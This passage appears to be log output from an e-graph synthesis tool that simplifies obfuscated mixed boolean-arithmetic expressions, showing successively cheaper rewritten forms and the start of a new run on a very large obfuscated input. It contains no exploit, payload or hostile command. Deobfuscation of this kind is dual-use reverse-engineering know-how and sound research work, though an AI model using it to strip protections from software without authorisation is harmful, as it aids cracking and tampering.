(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26))*(-0x28)))+(((((((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z+(-y))*(x|y))*0x3)))*(-0x6d)))+0x26)*0x5b))+(-0x22))
====================================================================================================
eclasses #: 57
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26))*(-0x28)))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*(-0x58))+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*(-0x6d)))+0x26)*0x5b))+(-0x22))
====================================================================================================
eclasses #: 89
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0xd8))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 140
Synthesized (cost = 775): ((((((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0x18)+((((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*0xd8))+(((((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0xa8)+((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))*0x68))+(((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 267
Synthesized (cost = 359): ((((((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26))*((0x18*((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26))+0xd8))+(((((((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))*((0xa8*((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3))))+0x68))+(((z*0x7)^(((x&z)*(0x1+0x1))+(((z-y)*(x|y))*0x3)))*0x93))+0x26)*0x5b))+0xde)
====================================================================================================
eclasses #: 715
Synthesized (cost = 211): ((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((0x18*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26))+0xd8))+0x5b))+0xde)
====================================================================================================
eclasses #: 2485
Synthesized (cost = 211): ((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26)*((0x18*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))*((0xa8*((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3))))+0x68))+0x93))+0x26))+0xd8))+0x5b))+0xde)
====================================================================================================
eclasses #: 12854
Synthesized (cost = 21): ((z*0x7)^(((x&z)*0x2)+(((z-y)*(x|y))*0x3)))
====================================================================================================
python3 synth.py
eclasses #: 157
Input (cost = 7388): ((-(((((-0x3399e33c88a2571)-((((((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab15